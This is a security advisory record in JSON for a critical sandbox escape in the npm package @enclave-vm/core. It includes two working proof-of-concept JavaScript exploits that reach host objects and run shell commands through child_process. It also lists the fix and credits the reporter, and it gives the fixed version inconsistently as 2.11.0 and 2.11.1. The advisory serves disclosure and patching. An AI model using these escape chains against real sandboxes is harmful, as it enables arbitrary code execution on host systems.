{"id":"GHSA-f229-3862-4942","summary":"@enclave-vm/core is vulnerable to Sandbox Escape","details":"## Summary\n\nIt is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).\n\nThe issue has been fixed in version **2.11.1**.\n\n---\n\n## Details\n\nIt is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.\n\nWhen a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.\n\nWhen this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).\n\n---\n\n## Proof of Concept\n\n### PoC 1\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"SECURE\",\n  toolHandler: () =\u003e {},\n});\n\nconst result = enclave.run(`\nconst op = {}[[\"__proto__\"]];\nconst ho = op[[\"constructor\"]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nreturn {\n  res: glob.__host_memory_track__.value[[\"constructor\"]](\"return process\")()\n    .getBuiltinModule(\"child_process\")\n    .execSync(\"id\")\n    .toString()\n    .split(\"\\\\n\"),\n};`);\n\nresult\n  .then((v) =\u003e console.log(\"success\", v))\n  .catch((e) =\u003e console.log(\"failure\", e));\n```\n\n---\n\n### PoC 2\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"STRICT\",\n  toolHandler: () =\u003e {},\n  memoryLimit: 0,\n});\n\nconst result = enclave.run(`\nconst op = {}[['__proto__']];\nconst ho = op[['constructor']];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nconst sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');\n\nlet result;\nconst obj = {\n  [sym]: (depth, option, inspect) =\u003e {\n    result = inspect[['constructor']]\n      [['constructor']]('return process')()\n      .getBuiltinModule('child_process')\n      .execSync('id')\n      .toString();\n  },\n};\n\nglob.__safe_console.value.log(obj);\nreturn { result }\n`);\n\nresult\n  .then((v) =\u003e console.log(\"success\", v))\n  .catch((e) =\u003e console.log(\"failure\", e));\n```\n\n---\n\n## Impact\n\nThis vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.\n\nThis constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.\n\n---\n\n## Remediation\n\nThe issue has been fixed in **v2.11.0** with the following hardening measures:\n\n* Strengthened intrinsic object isolation\n* Improved console isolation\n* Hardened host callback exposure paths\n* Closed AST validation gaps\n* Added additional defensive checks around constructor access and prototype traversal\n\nAll known escape paths demonstrated in the PoCs are now blocked.\n\nUsers are strongly advised to upgrade to **v2.11.1** or later immediately.\n\n---\n\n## Credit\n\nEnclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.","aliases":["CVE-2026-27597"],"modified":"2026-09-10T03:50:34.762588370Z","published":"2026-02-25T17:26:23Z","database_specific":{"cwe_ids":["CWE-94"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-02-25T17:26:23Z","nvd_published_at":"2026-02-25T04:16:03Z"},"references":[{"type":"WEB","url":"https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27597"},{"type":"WEB","url":"https://github.com/agentfront/enclave/commit/09afbebe4cb6d0586c1145aa71ffabd2103932db"},{"type":"PACKAGE","url":"https://github.com/agentfront/enclave"}],"affected":[{"package":{"name":"@enclave-vm/core","ecosystem":"npm","purl":"pkg:npm/%40enclave-vm/core"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.11.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 2.10.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-f229-3862-4942/GHSA-f229-3862-4942.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}]}